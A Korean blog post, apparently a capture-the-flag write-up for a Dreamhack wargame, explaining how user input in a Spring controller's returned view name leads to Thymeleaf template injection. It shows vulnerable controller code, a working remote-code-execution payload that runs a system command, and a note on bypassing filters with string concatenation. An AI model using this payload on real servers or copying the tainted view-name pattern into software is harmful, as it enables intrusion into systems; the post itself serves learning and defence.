background/web

Spring View Manipulation (Thymeleaf SSTI)

ssongk 2023. 8. 7. 13:27

드림핵에서 spring-view를 풀었다.
자바로 만든 문제는 처음 풀어봤는데, 어디서 또 만날 수도 있으니 정리해본다.
https://dreamhack.io/wargame/challenges/99

spring-view

spring으로 작성된 웹 서비스 입니다. 취약점을 이용해 플래그를 획득하세요.

dreamhack.io


 
스프링 부트(spring boot)에서 뷰(view)를 위한 엔진으로 타임리프(Thymeleaf)를 주로 사용한다고 한다.
 (MVC 모델)

아래의 컨트롤러 코드를 보면 @GetMapping(path) 형식의 어노테이션을 사용한다.
유저의 path에 대한 HTTP 요청은 index 메서드를 통해 view를 렌더링 해주는 처리를 할 수 있다.
여기선 리턴 값이 "welcome"으로 고정되어 있어서 "welcome"이라는 페이지(template)를 찾아 렌더링 해준다.

@Controller
public class HelloController {

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }
}

 
타임리프는 file layouts도 지원한다고 한다.
다음을 사용하여 템플릿에서 프래그먼트를 지정한 <div th:fragment="main">프래그먼트만 요청할 수 있다.

@GetMapping("/main")
public String fragment() {
    return "welcome :: main";
}

 
리턴 값에 이렇게 유저의 입력 값이 들어가게 되는 경우
안전하지 않은 템플릿이나 프래그먼트를 찾게 되는 상황이 발생한다.

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}

 
파일 시스템에서 템플릿을 로드하기 전에 Spring ThymeleafView 클래스는 템플릿 이름을 표현식으로 구문 분석을 한다.

try {
   // By parsing it as a standard expression, we might profit from the expression cache
   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}

 
이 때, 유저의 입력 값으로 인해 SSTI가 발생하게 된다.
위 코드에선 lang 변수에 의해 SSTI가 발생하는데
lang의 값을 아래와 같은 형식으로 만들어주면 a1.code가 먼저 실행이 된다.
이는 표현식 전처리(expression preprocessing)를 이용하는 방식이라고 한다.

__${a1.code}__::x

 
SSTI를 통해 RCE(Remote Code Execution)를 수행할 수 있다.
아래와 같은 코드를 통해 id 명령을 수행할 수 있다.
(url 인코딩 필요!)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability

 
드림핵 문제를 풀었을 때는 필터링이 적용되어 있었는데
concat 메서드 등을 통해 분리한 문자열을 합치는 방식으로 우회할 수 있다.
참고로 클래스 파일 디컴파일은 아래 사이트에서 가능하다.
http://www.javadecompilers.com/

Java decompiler online

www.javadecompilers.com

 


레퍼런스
https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability

Spring View Manipulation Vulnerability | Veracode

In this article we explain how dangerous could be an unrestricted view name manipulation in Spring Framework.

www.veracode.com

https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/

Exploiting SSTI in Thymeleaf | Acunetix

Server-side template injections (SSTI) are vulnerabilities that let the attacker inject code into server-side templates such as Thymeleaf.

www.acunetix.com

https://p1n9.tistory.com/46

[Web Hacking] Thymeleaf SSTI

Thymeleaf SSTI HTML 삽입 미리보기할 수 없는 소스 Thymeleaf HTML 삽입 미리보기할 수 없는 소스 타임리프(Thymeleaf)는 Spring의 뷰 템플릿이다. 컨트롤러가 데이터를 전달하면 동적으로 화면을 구성할 수

p1n9.tistory.com